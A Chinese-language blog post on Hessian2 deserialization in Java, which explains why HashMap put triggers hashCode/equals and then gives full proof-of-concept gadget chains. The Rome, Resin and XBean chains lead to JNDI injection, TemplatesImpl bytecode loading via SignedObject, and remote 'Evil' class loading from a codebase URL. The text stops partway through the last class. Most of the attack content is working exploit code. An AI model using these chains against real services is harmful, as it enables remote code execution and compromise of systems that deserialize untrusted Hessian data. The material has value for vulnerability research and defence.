Hessian2 反序列化

Hessian2 反序列化

Ko1sh1

反序列化机制(了解即可)

序列化/反序列化机制分大体分为两类

  • 基于Bean属性访问机制
  • 基于Field机制

基于Bean属性访问机制

它们最基本的区别是如何在对象上设置属性值,它们有共同点,也有自己独有的不同处理方式。有的通过反射自动调用getter(xxx)setter(xxx)访问对象属性,有的还需要调用默认Constructor,有的处理器(指的上面列出来的那些)在反序列化对象时,如果类对象的某些方法还满足自己设定的某些要求,也会被自动调用。还有XMLDecoder这种能调用对象任意方法的处理器。有的处理器在支持多态特性时,例如某个对象的某个属性是Object、Interface、abstruct等类型,为了在反序列化时能完整恢复,需要写入具体的类型信息,这时候可以指定更多的类,在反序列化时也会自动调用具体类对象的某些方法来设置这些对象的属性值。

这种机制的攻击面比基于Field机制的攻击面大,因为它们自动调用的方法以及在支持多态特性时自动调用方法比基于Field机制要多。

1
2
3
4
5
6
7
8
9
10
SnakeYAML
jYAML
YamlBeans
Apache Flex BlazeDS
Red5 IO AMF
Jackson
Fastjson
Castor
Java XMLDecoder

基于Field机制

基于Field机制的反序列化是通过特殊的native(方法或反射(最后也是使用了native方式)直接对Field进行赋值操作的机制,而不是通过getter、setter方式对属性赋值。

1
2
3
4
5
Java Serialization
Kryo
Hessian
json-io
XStream

Hessian2 序列化与反序列化简单测试

1
2
3
4
5
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>

Person.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package Test;
import java.io.Serializable;

public class Person implements Serializable {
public String name;
public int age;

public int getAge() {
return age;
}

public String getName() {
return name;
}

public void setAge(int age) {
this.age = age;
}

public void setName(String name) {
this.name = name;
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

Hessian_Test.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package Test;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

import java.io.*;

public class Hessian_Test implements Serializable {

public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bas = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bas);
oos.writeObject(o);
System.out.println("java原生: "+bas.toString());

ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println("Hessian2: "+bao.toString());
return bao.toByteArray();
}

public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return (T) o;
}

public static void main(String[] args) throws IOException {
Person person = new Person();
person.setAge(18);
person.setName("Koishi");

byte[] s = serialize(person);
System.out.println((Person) deserialize(s));
}
}

image-20230208224543523

相较于原生的反序列化,Hessian反序列化占用空间更小。

Hessian2 反序列化漏洞分析

Hessian反序列化漏洞的关键出在HessianInput#readObject,由于Hessian会将序列化的结果处理成一个Map,所以序列化结果的第一个byte总为M(ASCII为77)。下面我们跟进readObject()

image-20230208225258972

HessianInput#readObject部分代码如下,由于第一个每次都是77,所以都会进入该部分,在这获取了type

image-20230208225728424

接着会进入ObjectInputStream#readMap通过getDeserializer()来获取一个deserializer

1
2
3
4
5
6
7
8
9
10
11
public Object readMap(AbstractHessianInput in, String type) throws HessianProtocolException, IOException {
Deserializer deserializer = this.getDeserializer(type);
if (deserializer != null) {
return deserializer.readMap(in);
} else if (this._hashMapDeserializer != null) {
return this._hashMapDeserializer.readMap(in);
} else {
this._hashMapDeserializer = new MapDeserializer(HashMap.class);
return this._hashMapDeserializer.readMap(in);
}
}

在 getDeserializer 方法中,主要的操作就是首先判断了type是否为null,然后通过这个type去默认的map中获取deserializer,最开始肯定是没有我们这个类的type的,可以看看默认有些啥,当然显然是不会有的。

image-20230208231744002

然后判断是否为数组类型,显然我们本例不是,若是,则按数组进行处理。

最后上面的都不满足,则获取class,再进入this.getDeserializer(Class)再获取该类对应的Deserializer,这里是进入这里

1
2
3
4
5
else {
try {
Class cl = this.loadSerializedClass(type);
deserializer = this.getDeserializer(cl);
}

具体 this.getDeserializer(Class) 是怎么获取的就不去解析了,主要看紧接着的内容。

1
2
3
4
5
6
7
8
9
if (deserializer != null) {
if (this._cachedTypeDeserializerMap == null) {
this._cachedTypeDeserializerMap = new HashMap(8);
}

synchronized(this._cachedTypeDeserializerMap) {
this._cachedTypeDeserializerMap.put(type, deserializer);
}
}

大概目的就是在获取到deserializer后,java会创建一个HashMap作为缓存,并将我们需要反序列化的类作为key放入一个HashMap中。这里既然使用了HashMap的put方法,那么key的hashcode的方法就会被执行。这就是一个漏洞点。所以不同于我们以前默认的反序列化,这个 Hessian2 我们不是利用被序列化类的 readobject 方法,而是hashcode方法。

归纳

Hessian 提供了一个 _isAllowNonSerializable 变量用来打破序列化类需要实现序列化接口的规范,可以使用 SerializerFactory#setAllowNonSerializable 方法将其设置为 true,从而使未实现 Serializable 接口的类也可以序列化和反序列化,换句话说,Hessian 实际支持反序列化任意类,无需实现 Serializable 接口。

1
output.getSerializerFactory().setAllowNonSerializable(true);

Hessian 对 Map 类型数据的处理上,MapDeserializer#readMap 对 Map 类型数据进行反序列化操作是会创建相应的 Map 对象,并将 Key 和 Value 分别反序列化后使用 put 方法写入数据。在没有指定 Map 的具体实现类时,将会默认使用 HashMap ,对于 SortedMap,将会使用 TreeMap。而众所周知, HashMap 在 put 键值对时,将会对 key 的 hashcode 进行校验查看是否有重复的 key 出现,这就将会调用 key 的 hasCode 方法

img

而 TreeMap 在 put 时,由于要进行排序,所以要对 key 进行比较操作,将会调用 compare 方法,会调用 key 的 compareTo 方法。

img

也就是说 Hessian 相对比原生反序列化的利用链,有几个限制:

  • kick-off chain 起始方法只能为 hashCode/equals/compareTo 方法;
  • 利用链中调用的成员变量不能为 transient 修饰;(后面rome演示)
  • 所有的调用不依赖类中 readObject 的逻辑,也不依赖 getter/setter 的逻辑。

这几个限制也导致了很多 Java 原生反序列化利用链在 Hessian 中无法使用,有些链子中一些明明是 hashCode/equals/compareTo 触发的链子都不能直接拿来用。

Rome 配合 Hessian2

打 jndi 注入

这个在学Rome的时候没学到过,这里记录一下,实际上就 ToStringBean 会遍历所有无参getter 和setter,我们设置的JdbcRowSetImpl 类会去触发 getDatabaseMetaData ,从而触发jndi注入。不做过多解释(由于打jndi需要出网,一般情况下认为限制比较大)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package Rome;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Rome_jndi implements Serializable {

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:1389/w1lfvn";
jdbcRowSet.setDataSourceName(url);

ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(String.class,"hello! koishi");

HashMap hashMap = new HashMap();
hashMap.put(equalsBean,"koishi");
// 这里后续在反射修改回来,不然懂得懂得,在put就会触发利用链
setValue(equalsBean,"_beanClass", ToStringBean.class);
setValue(equalsBean,"_obj",toStringBean);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
HessianOutput hot = new HessianOutput(baos);
hot.writeObject(hashMap);
hot.close();


ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
HessianInput hit = new HessianInput(bais);
hit.readObject();
hit.close();
}
}

🚩加载字节码(二次反序列化)

既然说到了hashcode方法,显然很容易想到Rome中的一个利用方式。(CC6好像也用的hashcode方法,后面研究研究看看。)

1
2
3
4
5
6
7
8
* TemplatesImpl.getOutputProperties()
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)

使用 EqualsBean 变式去触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package Rome;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.ClassPool;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;

public class Rome_EqualsBean {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
//必须修改_bytecodes
setFieldValue(templates,"_name","koishi");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
EqualsBean bean = new EqualsBean(String.class,"koishi");
ObjectBean objectBean = new ObjectBean(Templates.class,templates);
HashMap hashMap = new HashMap();
hashMap.put(templates,templates);
hashMap.put(bean,bean);

// 这里后续在反射修改回来,不然懂得懂得,在put就会触发利用链
setFieldValue(bean,"_beanClass",ObjectBean.class);
setFieldValue(bean,"_obj",objectBean);


ByteArrayOutputStream baos = new ByteArrayOutputStream();
HessianOutput hot = new HessianOutput(baos);
hot.writeObject(hashMap);
hot.close();

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
HessianInput hit = new HessianInput(bais);
hit.readObject();
hit.close();
}

public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
}

但是在调试的时候,发现存在问题:

image-20230209164320207

到 defineTransletClasses 方法处,_tfactory 值为null,而我们此时又恰好为 java8,是需要该属性的。

这是因为_tfactory是一个transient修饰的属性,不会被反序列化。而在原生反序列化时,该属性是在TemplatesImpl#readObject中重新设置进去的。在hessian反序列化中读取属性时可以发现压根就没写入这个属性,导致空指针异常。

原因是:在hessian序列化时,由 UnsafeSerializer#introspect 方法来获取对象中的字段,在老版本中应该是 getFieldMap 方法。依旧是判断了成员变量标识符,如果是 transient 和 static 字段则不会参与序列化反序列化流程。

image-20230202015021051

因此我们需要寻找向序列化流里面写入数据或者改变流内容的类。

java.security.SignedObject

这个类有个 getObject 方法会从流里使用原生反序列化读取数据。我们只需找到能触发任意get的方法就能触发二次反序列化

img

这个 SignedObject 反序列化的内容也是可控的

img

问题又来了,为什么原生反序列化就可以恢复这个trasient修饰的变量呢?

因为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#readObject,重写了readOBject方法

img

获取 SignedObject 对象

由 SignedObject 构造器参数比较陌生,我这里写下几个获取的方法,获取SignedObject对象的方法有很多种

方法一

比如公开面最广的:

1
2
3
4
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(table1, kp.getPrivate(), Signature.getInstance("DSA"));

方法二

还有其他方法,通过对 marshalsec 的利用链的分析,可以看到其有一个工具类,可以写了不使用构造器去获取类对象的方法,调用createWithoutConstructor 方法即可获取对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}


@SuppressWarnings ( {
"unchecked"
} )
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes,
Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}

其实还有个方法三,由于是个人学习发现的,本质上是等价于方法二的,这里就先不写了。

payload

通过上面的学习了解,我们就可以尝试构造出 payload 了。前面就正常扒Rome的链子,填入SignedObject,后面就用Hessian2去触发getter即可。比如下面我就用rome笔记中的第一个rome链来写。

个人感觉写的较冗长,不知道有没有可以优化的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
package Rome;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import sun.reflect.ReflectionFactory;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.security.SignedObject;
import java.util.HashMap;

public class Rome_EqualsBean_TwiceSer {
public static void main(String[] args) throws Exception{
HashMap hashMap = RomePayload();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashMap);
oos.close();

// 将序列化字符串装入 SignedObject 中。
SignedObject signedObject = createWithoutConstructor(SignedObject.class);
setFieldValue(signedObject,"content",baos.toByteArray());
// 一开始一直没触发,后来仔细跟才知道其他几个成员变量也得传值,不然在遍历getter时会出现空指针异常。
setFieldValue(signedObject,"signature","koishi".getBytes());
setFieldValue(signedObject,"thealgorithm","koishi");


//再想办法触发 SignedObject 的 getter。
HashMap hashMap2 = PayloadMapGenerator(signedObject);

ByteArrayOutputStream baos2 = new ByteArrayOutputStream();
HessianOutput hot = new HessianOutput(baos2);
hot.writeObject(hashMap2);
hot.close();

ByteArrayInputStream bais = new ByteArrayInputStream(baos2.toByteArray());
HessianInput hit = new HessianInput(bais);
hit.readObject();
hit.close();
}

public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}

public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}


@SuppressWarnings ( {
"unchecked"
} )
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes,
Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}

public static HashMap PayloadMapGenerator(Object key) throws Exception {
ToStringBean toStringBean = new ToStringBean(key.getClass(),key);
EqualsBean equalsBean = new EqualsBean(String.class,"hello! koishi");

HashMap hashMap = new HashMap();
hashMap.put(equalsBean,"koishi");
// 这里后续在反射修改回来,不然懂得懂得,在put就会触发利用链
setFieldValue(equalsBean,"_beanClass", ToStringBean.class);
setFieldValue(equalsBean,"_obj",toStringBean);
return hashMap;
}

public static HashMap RomePayload() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
//必须修改_bytecodes
setFieldValue(templates,"_name","1");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

ObjectBean koishi = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "Cirno"));
HashMap hashMap = new HashMap();
hashMap.put(koishi,"I'm koishi dayo!!!");
//这里为什么不在上面ObjectBean声明的时候写,就是防止put的时候在本地触发(总所周知,map的put会去判断hash值,就会调用hashcode方法)
ObjectBean objectBean = new ObjectBean(Templates.class, templates);
setFieldValue(koishi,"_equalsBean",new EqualsBean(ObjectBean.class, objectBean));
return hashMap;
}
}

Resin 配合 Hessian2

添加依赖

1
2
3
4
5
6
<!-- contains QName -->
<dependency>
<groupId>com.caucho</groupId>
<artifactId>quercus</artifactId>
<version>4.0.45</version>
</dependency>

调用链

1
2
3
4
5
6
7
XString#equals
QName#toString
ContinuationContext#composeName(java.lang.String, java.lang.String)
ContinuationContext#getTargetContext
NamingManager#getContext
NamingManager#getObjectInstance
NamingManager#getObjectFactoryFromReference

分析-QName toString远程类加载

Resin 这条利用链的入口点实际上是 HashMap 对比两个对象时触发的 com.sun.org.apache.xpath.internal.objects.XStringequals 方法。

在Hessian2 对 HashMap 进行put时,触发 putVal 方法,在 putVal 中,

1
if (p.hash == hash && ((k = p.key) == key || (key != null && key.equals(k))))

key 为 Xstring ,k 为 QName,进而跟进 Xstring 的equals方法。(至于为什么这里是这两个值,看下文的奇葩问题分析内容)

image-20230210170754131

进而触发 QName 的 toString 方法,在该方法中,会触发 this._context.composeName,这个 _context 就是我们之前设置好的 ContinuationContext 类对象。

image-20230210171612201

继续看 ContinuationContext#composeName

image-20230210171807540

会调用本类的 getTargetContext 方法

image-20230210171902375

进而触发这个 cpe 的 getResolvedObj 方法,cpe就是 CannotProceedException 类,继续跟

1
2
3
4
5
try {
answer = getObjectInstance(obj, name, nameCtx, environment);
} catch (NamingException e) {
throw e;
}

obj 是设置好的 Reference 类,继续跟最终就能实现远程工厂类的加载了,我就不细调了,最终位置在 NamingManager 的getObjectFactoryFromReference 方法下,通过codebase 和 工厂类名加载了类。

image-20230210172357645

payload

unhash 方法参考别人的文章造的,知道作用就行,有闲时可以细究:https://bchetty.com/blog/hashcode-of-string-in-java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
package Resin;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import sun.reflect.ReflectionFactory;

import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;

public class Resin_POC {
public static void main(String[] args) throws Exception{
// 定义一个远程的class 包含一个恶意攻击的对象的工厂类
String codebase = "http://127.0.0.1:8088/";
// 对象的工厂类名(远程服务下的class文件名)
String classFactory = "Evil";

//实例化一个CannotProceedException对象,并设置远程查找对象
CannotProceedException cannotProceedException = createWithoutConstructor(CannotProceedException.class);
cannotProceedException.setResolvedObj(new Reference("koishi",classFactory,codebase));

//实例化ContinuationDirContext类
Context continuationContext = (Context)createWithoutConstructor(Class.forName("javax.naming.spi.ContinuationContext"));
setFieldValue(continuationContext,"cpe",cannotProceedException);


// 这里后面的两个参数貌似不是完全可以乱填的,但是可以填的确实有很多,测试如将下面的 Koishi 换成小写 koishi,则不会触发。
// 根据调试发现貌似这里的值填某些内容会导致读取生成map时顺序出错。没细看,有兴趣可以去调着试试。
QName qName = new QName(continuationContext,"Koishi", "Ilyn");

//设置为相同的hashcode,使hash 比较通过,从而触发 XString equals方法。这里先随便写个值,后续反射修改。当然改 QName 也行
String sameHashCode = unhash(qName.hashCode());
XString xString = new XString("koishi");

HashMap expMap = new HashMap();
expMap.put(qName, "koishi");
expMap.put(xString, "cirno");
setFieldValue(xString,"m_obj",sameHashCode);

ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
//序列化没有实现java.io.Serializable接口的类
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(expMap);

ByteArrayInputStream bais = new ByteArrayInputStream(bao.toByteArray());
HessianInput hit = new HessianInput(bais);
hit.readObject();
hit.close();
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}


@SuppressWarnings ( {
"unchecked"
} )
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes,
Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}

public static Field getField (final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);

return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}


public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
private static String unhash(int hash) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

if ( target == Integer.MIN_VALUE )
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}

unhash0(answer, target);
return answer.toString();
}

private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;

if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
}

奇葩问题窥探

在自己编写链子的过程中发现了两个奇葩问题:

  • HashMap 的put顺序不同,会对利用链造成影响

  • QName 实例化时,first值和rest值貌似有联系,foo和bar能行,有些个别其他字符串不行

自己试着对这两个问题进行部分分析,能力有限不确保正确。

针对第一个问题

当我们正确输入内容:

1
2
3
4
5
6
7
8
9
10
QName qName = new QName(new InitialContext(),"foo", "bar");

//设置为相同的hashcode,使hash 比较通过,从而触发 XString equals方法。
String sameHashCode = unhash(qName.hashCode());
XString xString = new XString(sameHashCode);

HashMap expMap = new HashMap();
expMap.put(qName, "koishi");
expMap.put(xString, "cirno");
setFieldValue(qName,"_context",continuationContext);

进行反序列化触发的内容分析如下:

HashMap 的 putval 实现是通过红黑树实现的,具体分析就不做分析了(以我现在的水平也懒得费时分析,过于费时费事),我就用最直观的数据做分析即可。我们利用的最关键的代码是

1
if (p.hash == hash && ((k = p.key) == key || (key != null && key.equals(k))))

Hessian2 进行 HashMap 的填充为如下代码

1
((Map)map).put(in.readObject(), in.readObject());

触发put为(这个 key 就是 putval 里面的 key)

1
return putVal(hash(key), key, value, false, true);

putval 中 p一开始为 null,于是 newNode 创建新node,记录第一个node数据,该node为我们的包裹QName的键值对。后续第二次putval,读取的是第二个键值对,此时 p.key 为QName,key 为 Xstring,由于之前设置了hash值相等,此时可以通过 p.hash == hash 校验,进而进入 (k = p.key) == key 的判断,此时 k 被赋值为了 QName,不等于key,进而触发 Xstring.equals(QName)。

所以put的顺序需要关注

针对第二个问题

image-20230210175124400

自己懒得调了,有兴趣的可以试试。我是懒狗

XBean 配合 Hessian2(还是需要spring)

这条链子和Resin链很相似,只不过是在 XBean 中找到了类似功能的实现,依赖随便选择一个就行。

1
2
3
4
5
6
7
8
9
10
11
      <dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.20</version>
</dependency>

<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>

首先还是用 XString 触发 ContextUtil.ReadOnlyBinding 的 toString 方法(实际继承 javax.naming.Binding),toString 方法调用 getObject 方法获取对象。

分析-Binding toString远程类加载

在反序列化开始时,还是和 Resin 一样,在读取 put 第二个Node 的时候,需要通过 hash 相等的校验才能进行后续的 equals 方法。但是 HotSwappableTargetSource 它的 hashcode 方法进行了重写,处理方式为:

1
2
3
4
@Override
public int hashCode() {
return HotSwappableTargetSource.class.hashCode();
}

也就是说,我们两个 HotSwappableTargetSource 类不需要之前那种设置 hash,直接就会判断为相等。

然后就可以继续触发 Binding 的 toString 方法,最终实现远程类加载

这个不用咋分析了,大致调一下就能看明白。

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
package XBean;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.apache.xbean.naming.context.ContextUtil;
import org.apache.xbean.naming.context.WritableContext;
import org.springframework.aop.target.HotSwappableTargetSource;
import sun.reflect.ReflectionFactory;

import javax.naming.Context;
import javax.naming.Reference;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;

public class XBean_POC {
public static void main(String[] args) throws Exception {

String remoteUrl = "http://127.0.0.1:8088/";
String remoteClass = "Evil";

Context ctx = createWithoutConstructor(WritableContext.class);
Reference ref = new Reference("foo", remoteClass, remoteUrl);
ContextUtil.ReadOnlyBinding binding = new ContextUtil.ReadOnlyBinding("foo", ref, ctx);

HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(binding);
// 设置一个人畜无害内容
HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource("koishi");

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(hotSwappableTargetSource1,hotSwappableTargetSource1);
hashMap.put(hotSwappableTargetSource2,hotSwappableTargetSource2);
// 反射修改回来
setFieldValue(hotSwappableTargetSource2,"target",new XString("koishi"));

// Hessian 序列化数据
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput.writeObject(hashMap);
byte[] serializedData = byteArrayOutputStream.toByteArray();
System.out.println("Hessian 序列化数据为: " + Base64.getEncoder().encodeToString(serializedData));

// Hessian 反序列化数据
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serializedData);
HessianInput hessianInput = new HessianInput(byteArrayInputStream);
hessianInput.readObject();
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}


@SuppressWarnings ( {
"unchecked"
} )
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes,
Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}

public static Field getField (final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
